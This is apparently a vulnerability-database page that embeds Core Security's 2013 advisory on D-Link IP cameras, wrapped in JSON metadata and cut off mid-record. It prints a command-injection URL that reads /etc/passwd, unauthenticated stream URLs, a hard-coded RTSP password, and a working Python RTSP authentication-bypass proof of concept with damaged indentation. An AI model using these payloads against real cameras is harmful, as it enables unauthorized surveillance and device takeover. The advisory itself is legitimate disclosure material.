"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8415"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8417"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8404"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8416"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8407"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8414"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21464"
},
{
"db": "VULHUB",
"id": "VHN-116614"
},
{
"db": "VULMON",
"id": "CVE-2017-8411"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014553"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-123"
},
{
"db": "NVD",
"id": "CVE-2017-8411"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2019-21464"
},
{
"db": "VULHUB",
"id": "VHN-116614"
},
{
"db": "VULMON",
"id": "CVE-2017-8411"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014553"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-123"
},
{
"db": "NVD",
"id": "CVE-2017-8411"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-08T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-21464"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULHUB",
"id": "VHN-116614"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8411"
},
{
"date": "2019-07-10T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014553"
},
{
"date": "2019-06-07T15:06:02",
"db": "PACKETSTORM",
"id": "153226"
},
{
"date": "2019-07-02T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-123"
},
{
"date": "2019-07-02T19:15:10.570000",
"db": "NVD",
"id": "CVE-2017-8411"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-08T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-21464"
},
{
"date": "2019-07-09T00:00:00",
"db": "VULHUB",
"id": "VHN-116614"
},
{
"date": "2021-04-26T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8411"
},
{
"date": "2019-07-10T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014553"
},
{
"date": "2021-04-27T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-123"
},
{
"date": "2024-11-21T03:33:59.163000",
"db": "NVD",
"id": "CVE-2017-8411"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-123"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "D-Link DCS-1130 Command injection vulnerability in devices",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014553"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "command injection",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-123"
}
],
"trust": 0.6
}
}
var-202001-0842
Vulnerability from variot
An Information Disclosure vulnerability exists due to insufficient validation of authentication cookies for the RTSP session in D-Link DCS-5635 1.01, DCS-1100L 1.04, DCS-1130L 1.04, DCS-1100 1.03/1.04_US, DCS-1130 1.03/1.04_US , DCS-2102 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-2121 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.0, DCS-7410 1.0, DCS-7510 1.0, and WCS-1100 1.02, which could let a malicious user obtain unauthorized access to video streams. plural D-Link The product contains an information disclosure vulnerability.Information may be obtained. There are security vulnerabilities in multiple D-Link webcam products. Exploiting this issue could allow an unauthenticated attacker to gain access to potentially sensitive information, such as a video stream. Advisory Information
Title: D-Link IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0303 Advisory URL: http://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities Date published: 2013-04-29 Date of last update: 2013-03-29 Vendors contacted: D-Link Corporation Release mode: Coordinated release
- Vulnerability Information
Class: OS command injection [CWE-78], Authentication issues [CWE-287], Information leak through GET request [CWE-598], Authentication issues [CWE-287], Use of hard-coded credentials [CWE-798] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602, CVE-2013-1603
- Vulnerability Description
Multiple vulnerabilities have been found in D-Link IP cameras [1] that could allow an unauthenticated remote attacker:
- [CVE-2013-1599] to execute arbitrary commands from the administration web interface,
- [CVE-2013-1600] to access the video stream via HTTP,
- [CVE-2013-1601] to access the ASCII video stream via image luminance,
- [CVE-2013-1602] to access the video stream via RTSP,
-
[CVE-2013-1603] to bypass RTSP authentication using hard-coded credentials.
-
Vulnerable Packages
The following is the list of affected devices and the associated firmware (confirmed by D-Link). Other SKUs are probably affected too, but they were not checked.
[CVE-2013-1599] . DCS-3411/3430 - firmware v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02
[CVE-2013-1600] . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO
[CVE-2013-1601] and [CVE-2013-1603] . DCS-3411/3430 - v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02
[CVE-2013-1602] . ALL mentioned devices and firmware.
- Vendor Information, Solutions and Workarounds
D-Link announces that all patches are ready and scheduled for posting on corporate web site for all customers [2013-04-25]. Contact D-Link for further information.
- Credits
[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.
[CVE-2013-1602] was discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC was made by Martin Rocha with help of Juan Cotta from Core QA Team.
[CVE-2013-1603] was discovered and researched by Pablo Santamaria from Core Security Consulting Services.
The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
7.1. OS Command Injection
[CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi' allows an unauthenticated remote attacker to execute arbitrary commands through the camera's web interface. The OS command injection is due to this code in 'rtpd.cgi':
/----- echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces." . $conf > /dev/null 2> /dev/null eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"
-----/ The first line of this snippet basically ensures that there are no spaces in '$QUERY_STRING'. The last line uses 'sed' to replace ampersands '&' with spaces, and then call to the function 'eval()', resulting in a typical command injection. For example, in order to execute:
/----- uname -a;cat /etc/passwd -----/ the following request can be sent to the camera web interface:
/----- http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd -----/
7.2. ASCII Video Stream Information Leak
[CVE-2013-1601] An ASCII output (the image luminance) of the live video stream can be accessed by a remote unauthenticated attacker via:
/----- http://192.168.1.100/md/lums.cgi -----/ The following example is the output of a coffee pot video stream [2]:
/-----
O O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o
O O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o
O O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o
O O O O O O O O O O O O o o O O o . o o o o o o o o o o o o o o
O O O O O O O O O O O O o o o o . o o o o o o o
O O O O O O O O O O o . o O O o . o o o o o o
O O O O O O O O O . o o o o o o
O O O O O O O O . o o o o o o o o
O O O O O O O . o O O o . o o o o o o o o o
O O O O O O o . O O O O O O . o o o o o o o o o
O O O O O O . O O O O O O O . o o o o o o o o o
O O O O O O o O O O O O O O . o . o o o o o o o o
O O O O O O o O O O O O O O . o o o . o o o o o o o o
O O O O O O o O O O O O O o . o O O o O O . o o o o o o o
O O O O O O . o O O O O O O o . O O O o O O . o o o o o o
O O O O O O . O O O O O o . O O o o O O o . o o o o o o
O O O O O O o O O O O O o . o O O o o O O o . o o o o o
O O O O O O O O O O O O . o O O o o O O o . o o o o o
O O O O O O O . o O O O o . o o o O o o O O o . o o o o
O O O O O O O o . O O O o . o o o O o o O O o . o o o o
O O O O O O O O . O O O . o o o O o o O O o . o o o o
O O O O O O O O O O O . o o o O o o O O o . o o o
O O O O O O O O o o O o o o o o O o o o O o . o o o
O O O O O O O O O . O o o o o o O o . o O o . o o
O O O O O O O O O . O o . o o o o O . o O o . o
O O O O O O O O O o o . o o o o o . o O o . o
O O O O O O O O O O . o o o . o . o O o .
o O O O O O O O O O . o o o . o . O o .
o o O O O O O O O O o . o o o . o . O o .
o o o O O O O O O O o . o o o . o . O o .
-----/
7.4. RTSP Authentication Bypass
[CVE-2013-1602] This vulnerability is triggered because:
- Authentication is only present in DESCRIBE requests but not in every subsequent request.
- When the RTSP session is being established, the authentication request of current session is ignored (a previously stored response is used instead).
/----- import sys from socket import * from threading import Thread import time, re
LOGGING = 1
def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s)
class UDPRequestHandler(Thread): def init(self, data_to_send, recv_addr, dst_addr): Thread.init(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr
def run(self):
sender = socket(AF_INET, SOCK_DGRAM)
sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
sender.sendto(self.data_to_send, self.dst_addr)
response = sender.recv(1024)
sender.sendto(response, self.recv_addr)
sender.close()
class UDPDispatcher(Thread): dispatchers = []
def __has_dispatcher_for(self, port):
return any([d.src_port == port for d in UDPDispatcher.dispatchers])
def __init__(self, src_port, dst_addr):
Thread.__init__(self)
if self.__has_dispatcher_for(src_port):
raise Exception('There is already a dispatcher for port %d'
% src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)
def run(self):
listener = socket(AF_INET, SOCK_DGRAM)
listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
listener.bind(('', self.src_port))
while 1:
try:
data, recv_addr = listener.recvfrom(1024)
if not data: break
UDPRequestHandler(data, recv_addr, self.dst_addr).start()
except Exception as e:
print e
break
listener.close()
UDPDispatcher.dispatchers.remove( self )
class PipeThread(Thread): pipes = [] def init(self, source, sink, process_data_callback=lambda x: x): Thread.init(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self)
def run(self):
while 1:
try:
data = self.source.recv(1024)
data = self.process_data_callback(data)
if not data: break
self.sink.send( data )
except Exception as e:
log(e)
break
PipeThread.pipes.remove(self)
class TCPTunnel(Thread): def init(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.init(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) self.sock.listen(5)
def run(self):
while 1:
# Wait until a new connection arises
newsock, address = self.sock.accept()
# Create forwarder socket
fwd = socket(AF_INET, SOCK_STREAM)
fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
fwd.connect(self.dst_addr)
# Pipe them!
PipeThread(newsock, fwd, self.process_data_callback).start()
PipeThread(fwd, newsock, self.process_data_callback).start()
class Camera(): def init(self, address): self.address = address def get_describe_data(self): return ''
class DLink(Camera): # D-Link DCS-2102/1.06-5731 def init(self, address): Camera.init(self, address) def get_describe_data(self): return '\x76\x3d\x30\x0d\x0a\x6f\x3d\x43\x56\x2d\x52\x54\x53\x50\x48\x61\x6e\x64\x6c\x65\x72\x20\x31\x31\x32\x33\x34\x31\x32\x20\x30\x20\x49\x4e\x20\x49\x50\x34\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x31\x0d\x0a\x73\x3d\x44\x43\x53\x2d\x32\x31\x30\x32\x0d\x0a\x63\x3d\x49\x4e\x20\x49\x50\x34\x20\x30\x2e\x30\x2e\x30\x2e\x30\x0d\x0a\x74\x3d\x30\x20\x30\x0d\x0a\x61\x3d\x63\x68\x61\x72\x73\x65\x74\x3a\x53\x68\x69\x66\x74\x5f\x4a\x49\x53\x0d\x0a\x61\x3d\x72\x61\x6e\x67\x65\x3a\x6e\x70\x74\x3d\x6e\x6f\x77\x2d\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x2a\x0d\x0a\x61\x3d\x65\x74\x61\x67\x3a\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x0d\x0a\x6d\x3d\x76\x69\x64\x65\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x39\x36\x0d\x0a\x62\x3d\x41\x53\x3a\x31\x38\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x39\x36\x20\x4d\x50\x34\x56\x2d\x45\x53\x2f\x39\x30\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x31\x0d\x0a\x61\x3d\x66\x6d\x74\x70\x3a\x39\x36\x20\x70\x72\x6f\x66\x69\x6c\x65\x2d\x6c\x65\x76\x65\x6c\x2d\x69\x64\x3d\x31\x3b\x63\x6f\x6e\x66\x69\x67\x3d\x30\x30\x30\x30\x30\x31\x42\x30\x30\x31\x30\x30\x30\x30\x30\x31\x42\x35\x30\x39\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x43\x34\x38\x38\x42\x41\x39\x38\x35\x31\x34\x30\x34\x33\x43\x31\x34\x34\x33\x46\x3b\x64\x65\x63\x6f\x64\x65\x5f\x62\x75\x66\x3d\x37\x36\x38\x30\x30\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a\x6d\x3d\x61\x75\x64\x69\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x30\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x30\x20\x50\x43\x4d\x55\x2f\x38\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x32\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a'
class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559'
def __init__(self, local_port, camera):
self.last_describe_req = ''
self.camera = camera
self.local_port = local_port
def start(self):
log('[!] Starting bypasser')
TCPTunnel(self.local_port, self.camera.address,
self.spoof_rtsp_conn).start()
def spoof_rtsp_conn(self, data):
if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
self.last_describe_req = data
elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and
self.last_describe_req:
log('[!] Unauthorized response received. Spoofing...')
spoofed_describe = self.camera.get_describe_data()
# Look for the request CSeq
m = re.search('.CSeq:\s(\d+?)\r\n.',
self.last_describe_req)
cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ
# Create the response
data = 'RTSP/1.0 200 OK\r\n'
data+= 'CSeq: %s\r\n' % cseq
data+= 'Content-Type: application/sdp\r\n'
data+= 'Content-Length: %d\r\n' % len(spoofed_describe)
data+= '\r\n'
# Attach the spoofed describe
data+= spoofed_describe
elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:
# Look for the server RTP ports
m = re.search('.%s\s(.+?)[;|\r].' %
RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)
ports = m.group(1) if m else
RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE
# For each port in the range create a UDP dispatcher
begin_port, end_port = map(int, ports.split('-'))
for udp_port in xrange(begin_port, end_port + 1):
try:
UDPDispatcher(udp_port, (self.camera.address[0],
udp_port)).start()
except:
pass
return data
if name == 'main':
if len( sys.argv ) > 1:
listener_port = camera_port = int(sys.argv[1])
camera_ip = sys.argv[2]
if len(sys.argv) == 4:
camera_port = int(sys.argv[3])
RTSPAuthByPasser(listener_port, DLink((camera_ip,
camera_port))).start()
else:
print 'usage: python %s [local_port] [camera_ip]
[camera_rtsp_port]'
-----/
7.5. RTSP Hard-Coded Credentials
[CVE-2013-1603] RTSP service contains hard-coded credentials that effectively serve as a backdoor, which allows remote attackers to access the RTSP video stream.
/-----
username: (any)
password: ?*
-----/
As we can see in the following dump, the submitted password is compared with the string ':?*' (the character ':' is used for concatenation of 'username:password'). This code belongs to the binary 'rtspd':
/----- .text:00011468 loc_11468 ; Load from Memory .text:00011468 LDR R3, [R11,#s2] .text:0001146C STR R3, [R11,#var_C0] ; Store to Memory .text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory .text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory .text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2 .text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2 .text:00011480 STR R3, [R11,#var_C0] ; Store to Memory .text:00011484 LDR R0, [R11,#var_C0] ; s1 .text:00011488 LDR R1, =asc_1B060 ; ":?*" <------- .text:0001148C MOV R2, #3 ; n .text:00011490 BL strncmp ; Branch with Link .text:00011494 MOV R3, R0 ; Rd = Op2 .text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2 .text:0001149C BNE loc_114BC ; Branch -----/
-
Report Timeline . 2013-03-19: Core Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20: D-Link team asks for a technical description of the vulnerability. 2013-03-20: Core sends a draft advisory with technical details and set the estimated publication date of the advisory for May 14th, 2013. 2013-03-20: Vendor notifies that D-Link Corporation has an unpublished bounty program for security advisors. The bounty program requires both Core Security and D-Link to sign a memo of understanding (MoU). 2013-03-25: Core notifies that receiving money from vendors may bias the view of the report and rejects the bounty program. 2013-03-29: Vendor notifies that they hope to close the fix ASAP. 2013-04-08: Vendor sends the list of vulnerable devices and the associated firmware and notifies that they will release patches and release notes on the D-Link support forum first. Then, an official public release will be announced (approx. 1 month from forum post to full release). 2013-04-24: Core asks for a clarification regarding the D-Link release date and notifies that releasing fixes to a privileged closed group and/or a closed forum or list is unacceptable. 2013-04-25: Vendor notifies that the patches are ready and scheduled for posting on D-Link web site over the next few days. 2013-04-26: Core notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29: Advisory CORE-2013-0303 published.
-
References
[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. [2] http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.
- About CoreLabs
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
- About Core Security Technologies
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
- Disclaimer
The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
- PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-202001-0842",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dcs-5230",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-5635",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.01"
},
{
"model": "dcs-2102",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.05"
},
{
"model": "dcs-3411",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-3430",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-5605",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.01"
},
{
"model": "wcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.00"
},
{
"model": "dcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.04"
},
{
"model": "dcs-5230l",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.03"
},
{
"model": "dcs-7510",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.00"
},
{
"model": "dcs-2102",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.06"
},
{
"model": "dcs-2121",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.05"
},
{
"model": "dcs-3410",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-6410",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.00"
},
{
"model": "dcs-1100l",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.04"
},
{
"model": "dcs-7410",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.00"
},
{
"model": "dcs-1130l",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.04"
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.04"
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.03"
},
{
"model": "dcs-2121",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.06"
},
{
"model": "dcs-1100l",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1100",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130l",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2102",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2121",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-3411",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-3430",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-5605",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-5635",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-3411/3430",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "-1.02"
},
{
"model": "dcs-5605/5635",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.01"
},
{
"model": "dcs-1100l/1130l",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.04"
},
{
"model": "dcs-1100/1130",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.03"
},
{
"model": "dcs-1100/1130 1.04 us",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2102/2121 1.05 ru",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dcs-3410",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.02"
},
{
"model": "dcs-5230",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.02"
},
{
"model": "dcs-5230l",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.02"
},
{
"model": "dcs-6410",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.00"
},
{
"model": "dcs-7410",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.00"
},
{
"model": "dcs-7510",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.00"
},
{
"model": "wcs-1100",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.02"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04636"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007133"
},
{
"db": "NVD",
"id": "CVE-2013-1602"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Martin Rocha from Core Impact Pro Team",
"sources": [
{
"db": "BID",
"id": "59569"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-029"
}
],
"trust": 0.9
},
"cve": "CVE-2013-1602",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
